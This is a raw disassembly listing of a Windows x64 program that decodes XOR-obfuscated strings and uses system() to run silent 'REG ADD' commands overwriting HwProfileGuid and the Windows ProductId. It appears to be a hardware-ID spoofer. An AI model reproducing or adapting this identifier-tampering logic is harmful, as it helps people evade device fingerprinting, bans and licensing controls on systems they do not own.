cmp byte [0x140826803], 0
je 0x140791fc3
cmp r13d, 2
jl 0x140791f78
movdqa xmm3, xmmword [0x14083c9b0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x14083ca40]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x14083ca40]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x14083c9f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.0000000000000000O]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp + 0xc8], xmm2
jmp 0x140791fc3
lea r9, [rbp + 0xc8]
mov r8d, esi
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140791f90
lea rcx, [rbp + 0xc8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0xd0]
call fcn.1407893a0
mov rbx, rax
lea rax, [rbp + 0x150]
cmp rax, rbx
je 0x140792074
mov rdx, qword [rbp + 0x168]
cmp rdx, 0xf
jbe 0x140792037
inc rdx
mov rcx, qword [rbp + 0x150]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140792032
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14079520c
call fcn.14080fdd0
mov qword [rbp + 0x160], rsi
mov qword [rbp + 0x168], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x150], 0
movups xmm0, xmmword [rbx]
movups xmmword [rbp + 0x150], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp + 0x160], xmm1
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
mov rdx, qword [rbp + 0xe8]
cmp rdx, 0xf
jbe 0x1407920b5
inc rdx
mov rcx, qword [rbp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1407920b0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14079520c
call fcn.14080fdd0
mov r15, qword [rbp + 0x160]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r15
cmp rax, 0x70
jb 0x1407952f0
lea r12, [rbp + 0x150]
cmp qword [rbp + 0x168], 0xf
cmova r12, qword [rbp + 0x150]
xorps xmm0, xmm0
movups xmmword [rbp + 0x170], xmm0
mov qword [rbp + 0x180], rsi
mov qword [rbp + 0x188], rsi
lea r14, [r15 + 0x70]
mov edi, reloc.WS2_32.dll_ntohs
lea rbx, [rbp + 0x170]
cmp r14, rdi
jbe 0x140792198
mov rdi, r14
or rdi, 0xf
cmp rdi, rcx
jbe 0x140792139
mov rdi, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x140792160
cmp rdi, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb rdi, rax
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x14079217f
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1407952c6
mov rcx, rax
call fcn.140810194
test rax, rax
je 0x14079521a
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x140792191
test rcx, rcx
je 0x14079218e
call fcn.140810194
mov rbx, rax
jmp 0x140792191
mov rbx, rsi
mov qword [rbp + 0x170], rbx
mov qword [rbp + 0x180], r14
mov qword [rbp + 0x188], rdi
movups xmm0, xmmword [str.REG_ADD__HKLMSYSTEMCurrentControlSetControlIDConfigDBHardware_Profiles0001___v_HwProfileGuid__t_REG_SZ__d]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [0x140826450]
movups xmmword [rbx + 0x10], xmm1
movups xmm0, xmmword [0x140826460]
movups xmmword [rbx + 0x20], xmm0
movups xmm1, xmmword [0x140826470]
movups xmmword [rbx + 0x30], xmm1
movups xmm0, xmmword [0x140826480]
movups xmmword [rbx + 0x40], xmm0
movups xmm1, xmmword [0x140826490]
movups xmmword [rbx + 0x50], xmm1
movups xmm0, xmmword [0x1408264a0]
movups xmmword [rbx + 0x60], xmm0
lea rcx, [rbx + 0x70]
mov r8, r15
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + r14], 0
mov r8d, 8
lea rdx, str.__f__NUL
lea rcx, [rbp + 0x170]
call fcn.140797ab0
xorps xmm0, xmm0
movups xmmword [rbp + 0xd0], xmm0
mov qword [rbp + 0xe0], rsi
mov qword [rbp + 0xe8], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xe0], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rcx, [rbp + 0xd0]
cmp qword [rbp + 0xe8], 0xf
cmova rcx, qword [rbp + 0xd0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ebx, eax
mov rdx, qword [rbp + 0xe8]
cmp rdx, 0xf
jbe 0x1407922bb
inc rdx
mov rcx, qword [rbp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1407922b6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140795213
call fcn.14080fdd0
mov qword [rbp + 0xe0], rsi
mov qword [rbp + 0xe8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xd0], 0
mov rdx, qword [rbp + 0x188]
cmp rdx, 0xf
jbe 0x140792315
inc rdx
mov rcx, qword [rbp + 0x170]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140792310
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14079521a
call fcn.14080fdd0
mov ecx, esi
test ebx, ebx
jne 0x14079259a
movups xmm0, xmmword [str.cDQPQFE_r]
movups xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [0x140827920]
movups xmmword [rbp + 0xe0], xmm1
mov eax, dword [0x140827930]
mov dword [rbp + 0xf0], eax
movzx eax, byte [0x140827934]
mov byte [rbp + 0xf4], al
cmp r13d, 2
jl 0x1407924aa
movdqa xmm5, xmmword [0x14083c9b0]
movdqa xmm4, xmmword [0x14083ca40]
movdqa xmm6, xmmword [0x14083c9f0]
movdqa xmm0, xmmword [str.0000000000000000O]
movdqa xmmword [rbp + 0x170], xmm0
lea rdx, [rbp + 0xd0]
mov r8d, dword [rbp + 0x170]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x20
jl 0x1407923a0
cmp ecx, 0x25
jge 0x1407924ee
movsxd rax, ecx
lea r8, [rbp + 0xd0]
add r8, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, cl
sub al, dl
add al, 0x30
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x25
jl 0x1407924c0
lea rdx, [rbp + 0xd0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140798380
lea rdx, [rbp + 0x240]
mov r8, qword [rbp + 0x250]
mov rcx, rax
cmp qword [rbp + 0x258], 0xf
jbe 0x140792536
mov rdx, qword [rbp + 0x240]
call fcn.14079a730
mov r8, rax
mov eax, dword [0x140826d04]
mov dword [rbp - 0x50], eax
jmp 0x140792547
call fcn.14079a730
mov r8, rax
mov ecx, dword [0x140826d04]
mov dword [rbp - 0x50], ecx
movzx eax, byte [0x140826d08]
mov byte [rbp - 0x50], reloc.WLDAP32.dll_Ordinal_32
xor byte [rbp - 0x4f], 0x31
xor byte [rbp - 0x4e], 0x32
xor byte [rbp - 0x4d], 0x33
xor al, 0x34
mov byte [rbp - 0x4c], al
lea rdx, [rbp - 0x50]
mov rcx, r8
call fcn.140798380
lea rdx, [rbp + 0x150]
cmp qword [rbp + 0x168], 0xf
cmova rdx, qword [rbp + 0x150]
mov r8, qword [rbp + 0x160]
mov rcx, rax
call fcn.14079a730
jmp 0x140792771
movups xmm0, xmmword [str.uC_F]
movups xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [0x1408276f8]
movups xmmword [rbp + 0xe0], xmm1
mov eax, dword [0x140827708]
mov dword [rbp + 0xf0], eax
movzx eax, word [0x14082770c]
mov word [rbp + 0xf4], ax
cmp r13d, 2
jl 0x14079271c
movdqa xmm5, xmmword [0x14083c9b0]
mov ecx, esi
movdqa xmm4, xmmword [0x14083ca40]
movdqa xmm6, xmmword [0x14083c9f0]
movdqa xmm0, xmmword [str.0000000000000000O]
movdqa xmmword [rbp + 0x170], xmm0
lea rdx, [rbp + 0xd0]
mov r8d, dword [rbp + 0x170]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x20
jl 0x140792612
cmp ecx, 0x26
jge 0x14079275e
movsxd rax, ecx
lea r8, [rbp + 0xd0]
add r8, rax
nop dword [rax]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, cl
sub al, dl
add al, 0x30
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x26
jl 0x140792730
lea rdx, [rbp + 0xd0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140798380
lea rdx, [0x140798550]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0xd0]
call fcn.1407893a0
mov rbx, rax
lea rax, [rbp + 0x150]
cmp rax, rbx
je 0x140792825
mov rdx, qword [rbp + 0x168]
cmp rdx, 0xf
jbe 0x1407927e8
inc rdx
mov rcx, qword [rbp + 0x150]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1407927e3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140795221
call fcn.14080fdd0
mov qword [rbp + 0x160], rsi
mov qword [rbp + 0x168], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x150], 0
movups xmm0, xmmword [rbx]
movups xmmword [rbp + 0x150], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp + 0x160], xmm1
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
mov rdx, qword [rbp + 0xe8]
cmp rdx, 0xf
jbe 0x140792866
inc rdx
mov rcx, qword [rbp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140792861
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140795221
call fcn.14080fdd0
mov r15, qword [rbp + 0x160]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r15
cmp rax, 0x56
jb 0x1407952ea
lea r12, [rbp + 0x150]
cmp qword [rbp + 0x168], 0xf
cmova r12, qword [rbp + 0x150]
xorps xmm0, xmm0
movups xmmword [rbp + 0x170], xmm0
mov qword [rbp + 0x180], rsi
mov qword [rbp + 0x188], rsi
lea r14, [r15 + 0x56]
mov edi, reloc.WS2_32.dll_ntohs
lea rbx, [rbp + 0x170]
cmp r14, rdi
jbe 0x140792949
mov rdi, r14
or rdi, 0xf
cmp rdi, rcx
jbe 0x1407928ea
mov rdi, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x140792911
cmp rdi, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb rdi, rax
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x140792930
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1407952cc
mov rcx, rax
call fcn.140810194
test rax, rax
je 0x14079522f
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x140792942
test rcx, rcx
je 0x14079293f
call fcn.140810194
mov rbx, rax
jmp 0x140792942
mov rbx, rsi
mov qword [rbp + 0x170], rbx
mov qword [rbp + 0x180], r14
mov qword [rbp + 0x188], rdi
movups xmm0, xmmword [str.REG_ADD__HKLMSOFTWAREMicrosoftWindows_NTCurrentVersion___v_ProductId__t_REG_SZ__d]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [0x1408264d0]
movups xmmword [rbx + 0x10], xmm1
movups xmm0, xmmword [0x1408264e0]
movups xmmword [rbx + 0x20], xmm0
movups xmm1, xmmword [0x1408264f0]
movups xmmword [rbx + 0x30], xmm1
movups xmm0, xmmword [0x140826500]
movups xmmword [rbx + 0x40], xmm0
mov eax, dword [0x140826510]
mov dword [rbx + 0x50], eax
movzx eax, word [0x140826514]
mov word [rbx + 0x54], ax
lea rcx, [rbx + 0x56]
mov r8, r15
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + r14], 0
mov r8d, 8
lea rdx, str.__f__NUL
lea rcx, [rbp + 0x170]
call fcn.140797ab0
xorps xmm0, xmm0
movups xmmword [rbp + 0xd0], xmm0
mov qword [rbp + 0xe0], rsi
mov qword [rbp + 0xe8], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xe0], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rcx, [rbp + 0xd0]
cmp qword [rbp + 0xe8], 0xf
cmova rcx, qword [rbp + 0xd0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ebx, eax
mov rdx, qword [rbp + 0xe8]
cmp rdx, 0xf
jbe 0x140792a6a
inc rdx
mov rcx, qword [rbp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140792a65
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140795228
call fcn.14080fdd0
mov qword [rbp + 0xe0], rsi
mov qword [rbp + 0xe8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xd0], 0
mov rdx, qword [rbp + 0x188]
cmp rdx, 0xf
jbe 0x140792ac4
inc rdx
mov rcx, qword [rbp + 0x170]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140792abf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14079522f
call fcn.14080fdd0
mov ecx, esi
test ebx, ebx
jne 0x140792d3d
mov r9, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movups xmm0, xmmword [0x140827070]
movups xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [0x140827080]
movups xmmword [rbp + 0xe0], xmm1
movzx eax, byte [0x140827090]
mov byte [rbp + 0xf0], al
cmp r13d, 2
jl 0x140792c77
movdqa xmm5, xmmword [0x14083c9b0]
movdqa xmm4, xmmword [0x14083ca40]
movdqa xmm6, xmmword [0x14083c9f0]
movdqa xmm0, xmmword [str.0000000000000000O]
movdqa xmmword [rbp + 0x170], xmm0
lea rdx, [rbp + 0xd0]
mov r8d, dword [rbp + 0x170]
nop
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x20
jl 0x140792b40
cmp ecx, 0x21
jl 0x140792c77
lea rdx, [rbp + 0xd0]
mov rcx, r9
call fcn.140798380
lea rdx, [0x14084c560]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const____ptr64____ptr64]
mov r8, rax
mov ecx, dword [0x140826d04]
mov dword [rbp - 0x48], ecx
jmp 0x140792ce9
movsxd rax, ecx
lea r8, [rbp + 0xd0]
add r8, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, cl
sub al, dl
add al, 0x30
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x21
jl 0x140792c90
lea rdx, [rbp + 0xd0]
mov rcx, r9
call fcn.140798380
lea rdx, [0x14084c560]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const____ptr64____ptr64]
mov r8, rax
mov eax, dword [0x140826d04]
mov dword [rbp - 0x48], eax
movzx ecx, byte [0x140826d08]
mov byte [rbp - 0x48], reloc.WLDAP32.dll_Ordinal_32
xor byte [rbp - 0x47], 0x31
xor byte [rbp - 0x46], 0x32
xor byte [rbp - 0x45], 0x33
xor cl, 0x34
mov byte [rbp - 0x44], cl
lea rdx, [rbp - 0x48]
mov rcx, r8
call fcn.140798380
lea rdx, [rbp + 0x150]
cmp qword [rbp + 0x168], 0xf
cmova rdx, qword [rbp + 0x150]
mov r8, qword [rbp + 0x160]
mov rcx, rax
call fcn.14079a730
jmp 0x140792f11
movups xmm0, xmmword [0x140826968]
movups xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [0x140826978]
movups xmmword [rbp + 0xe0], xmm1
movzx eax, word [0x140826988]
mov word [rbp + 0xf0], ax
cmp r13d, 2
jl 0x140792eba
movdqa xmm5, xmmword [0x14083c9b0]
mov ecx, esi
movdqa xmm4, xmmword [0x14083ca40]
movdqa xmm6, xmmword [0x14083c9f0]
movdqa xmm0, xmmword [str.0000000000000000O]
movdqa xmmword [rbp + 0x170], xmm0
lea rdx, [rbp + 0xd0]
mov r8d, dword [rbp + 0x170]
nop dword [rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14083ca10]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm2, xmm0
movd dword [rdx + 4], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x20
jl 0x140792db0
cmp ecx, 0x22
jge 0x140792efe
movsxd rax, ecx
lea r8, [rbp + 0xd0]
add r8, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, cl
sub al, dl
add al, 0x30
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x22
jl 0x140792ed0
lea rdx, [rbp + 0xd0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140798380
lea rdx, [0x140798550]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0xd0]
call fcn.1407893a0
mov rbx, rax
lea rax, [rbp + 0x150]
cmp rax, rbx
je 0x140792fc5
mov rdx, qword [rbp + 0x168]
cmp rdx, 0xf
jbe 0x140792f88
inc rdx
mov rcx, qword [rbp + 0x150]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140792f83
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140795236
call fcn.14080fdd0
mov qword [rbp + 0x160], rsi
mov qword [rbp + 0x168], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x150], 0
movups xmm0, xmmword [rbx]
movups xmmword [rbp + 0x150], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp + 0x160], xmm1
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
mov rdx, qword [rbp + 0xe8]
cmp rdx, 0xf
jbe 0x140793006
inc rdx
mov rcx, qword [rbp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140793001
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140795236
call fcn.14080fdd0
mov r15, qword [rbp + 0x160]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r15
cmp rax, 0x44
jb 0x1407952e4
lea r12, [rbp + 0x150]
cmp qword [rbp + 0x168], 0xf
cmova r12, qword [rbp + 0x150]
xorps xmm0, xmm0
movups xmmword [rbp + 0x170], xmm0
mov qword [rbp + 0x180], rsi
mov qword [rbp + 0x188], rsi
lea r14, [r15 + 0x44]
mov edi, reloc.WS2_32.dll_ntohs
lea rbx, [rbp + 0x170]
cmp r14, rdi
jbe 0x1407930e9
mov rdi, r14
or rdi, 0xf
cmp rdi, rcx
jbe 0x14079308a
mov rdi, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x1407930b1
cmp rdi, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb rdi, rax
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x1407930d0
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1407952d2
mov rcx, rax
call fcn.140810194
test rax, rax
je 0x140795244
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x1407930e2
test rcx, rcx
je 0x1407930df
call fcn.140810194
mov rbx, rax
jmp 0x1407930e2
mov rbx, rsi
mov qword [rbp + 0x170], rbx
mov qword [rbp + 0x180], r14
mov qword [rbp + 0x188], rdi
